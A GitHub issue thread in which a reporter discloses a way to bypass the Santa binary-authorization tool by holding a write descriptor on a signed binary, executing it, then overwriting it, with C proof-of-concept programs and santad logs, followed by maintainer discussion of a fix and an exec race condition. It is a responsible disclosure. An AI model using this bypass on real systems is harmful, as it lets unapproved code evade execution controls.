Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Bypass Santa By Overwriting a Binary #15

Closed
benmmurphy opened this issue Apr 21, 2015 · 3 comments
Closed

Bypass Santa By Overwriting a Binary #15

benmmurphy opened this issue Apr 21, 2015 · 3 comments
Assignees

Comments

@benmmurphy
Copy link

@benmmurphy benmmurphy commented Apr 21, 2015

i think you can copy a signed binary to somewhere you can modify it. open the signed binary with write access. execute the signed binary. change the signed binary to do bad stuff. then execute the binary again. this is my understanding of this code because the write event is only created when you open a file for writing:

if (action & KAUTH_VNODE_WRITE_DATA ||

Here is the santa logs for two scenarios. One is executing a binary. Overwriting the binary. Then executing the binary again. This generates two log entries.

The other opens the binary. Then executes the binary. Then overwrites the binary using the fd generated before executing the binary. This generates only one log entry. I think this is bypassing santa. However, I'm running in MONITOR mode so I'm not 100% sure.

#include <fcntl.h>

int main() {
  system("rm -f ./foo.target");
  system("cp ./foo ./foo.target");
  system("./foo.target");
  system("cp ./foobar ./foo.target");
  system("./foo.target");

}

[2015-04-21 13:27:03.925Z] I santad: A|?|ea3e2e2c8b1e8515bbc536192113a40b2386bc8ba3f68805edfc2a66944a3461|/private/tmp/normal
[2015-04-21 13:27:03.940Z] I santad: A|?|c820d5e53c2de264dc29e5575d77b71417b51f035fe4c794c0c823a797784054|/private/tmp/foo.target
[2015-04-21 13:27:03.962Z] I santad: A|?|5d4d87dceda695fb9df2b647399886088d4d3e0754a00ac3f77f99c03ea5d44c|/private/tmp/foo.target

#include <fcntl.h>

int main() {
  system("rm -f ./foo.target");
  system("cp ./foo ./foo.target");
  int fd = open("./foo.target", O_WRONLY);
  if (fd < 0) {
    perror("openw");
    exit(-1);
  }
  system("./foo.target");
  char buf[1024];
  int rfd = open("./foobar", O_RDONLY);
  if (rfd < 0) {
    perror("open");
    exit(-1);
  }
  int len;
  while ((len = read(rfd, buf, sizeof(buf))) != 0) {
    if (len < 0) {
      perror("wat");
      exit(-1);
    }
    int wlen = write(fd, buf, len);
    if (wlen != len) {
      exit(-1);
    }
  }
  system("./foo.target");
}

[2015-04-21 13:32:36.791Z] I santad: A|?|f8495ffe1bde4c61d145ba606326e2ecc396297ef127af492cfc2a7023602494|/private/tmp/break
[2015-04-21 13:32:36.822Z] I santad: A|?|c820d5e53c2de264dc29e5575d77b71417b51f035fe4c794c0c823a797784054|/private/tmp/foo.target
@russellhancox
Copy link
Collaborator

@russellhancox russellhancox commented Apr 21, 2015

Thanks for the report.

Write events are generated for more than just opening a file but there are certain situations where it's possible to overwrite a file without triggering a write event. However, in 10333bb I changed the cache-removal mechanism to protect when dirty blocks are present, which I believe removes these cases (though I'm still verifying).

@russellhancox russellhancox self-assigned this Apr 21, 2015
@benmmurphy
Copy link
Author

@benmmurphy benmmurphy commented Apr 27, 2015

Do you know if this can be subverted because of time-to-check-time-to-use? I'm not sure how the exec and kauth work in the kernel. But if it is something like:

user execv()
kernel converts path to vnode
auth_callback(execute, vnode)

then it seems that this ordering is possible:

user execv()
kernel converts path to vnode
auth_callback(execute, vnode)
vnode_hasdirtyblks(vnode) == false
user overwrites binary
auth_callback returns ok
kernel completes execv with overwritten binary

i don't see where there is protection against the binary changing after hasdirtyblks has returned true. i guess the only thing is it would be hard for the attacker to win the race.

@russellhancox
Copy link
Collaborator

@russellhancox russellhancox commented Apr 27, 2015

Theoretically, yes. The process is this (from http://www.opensource.apple.com/source/xnu/xnu-2782.1.97/bsd/kern/kern_exec.c):

__mac_execve() / posix_spawn()
--> exec_activate_image
----> exec_check_permissions
------> vnode_authorize()
----> vn_rdwr() to get file data
----> loop through image activators to activate image.

However, there's other locking happening that may or may not affect whether the exec would proceed and the gap between the authorize and vn_rdwr would make this very difficult to exploit. Moreover, exploiting that would require being able to execute something in the first place which is, to some extent, outside of scope.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Linked pull requests

Successfully merging a pull request may close this issue.

None yet
2 participants
You can’t perform that action at this time.